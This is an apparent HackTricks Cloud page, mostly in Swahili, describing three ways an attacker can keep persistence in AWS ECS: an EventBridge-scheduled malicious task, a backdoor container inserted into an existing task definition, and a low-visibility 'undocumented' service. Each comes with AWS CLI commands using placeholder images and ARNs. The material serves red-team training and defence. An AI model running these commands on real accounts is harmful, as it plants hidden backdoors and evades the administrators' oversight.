AWS - ECS Persistence

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ECS

Kwa maelezo zaidi angalia:

AWS - ECS Enum

Kazi ya ECS ya Kila Wakati Isiyoonekana

TODO: Test

Mshambuliaji anaweza kuunda kazi ya ECS ya kila wakati isiyoonekana kwa kutumia Amazon EventBridge ili kuweka ratiba ya utekelezaji wa kazi mbaya kila wakati. Kazi hii inaweza kufanya upelelezi, kuhamasisha data, au kudumisha kudumu katika akaunti ya AWS.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'

Backdoor Container katika Mwelekeo wa Kazi wa ECS uliopo

TODO: Test

Mshambuliaji anaweza kuongeza container ya backdoor isiyoonekana katika mwelekeo wa kazi wa ECS uliopo ambayo inafanya kazi pamoja na container halali. Container ya backdoor inaweza kutumika kwa kudumu na kutekeleza shughuli za uhalifu.

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'

Undocumented ECS Service

TODO: Test

Mshambuliaji anaweza kuunda huduma ya ECS isiyoandikwa inayokimbiza kazi mbaya. Kwa kuweka idadi inayotakiwa ya kazi kuwa ya chini na kuzima uandishi wa kumbukumbu, inakuwa vigumu kwa wasimamizi kugundua huduma hiyo mbaya.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.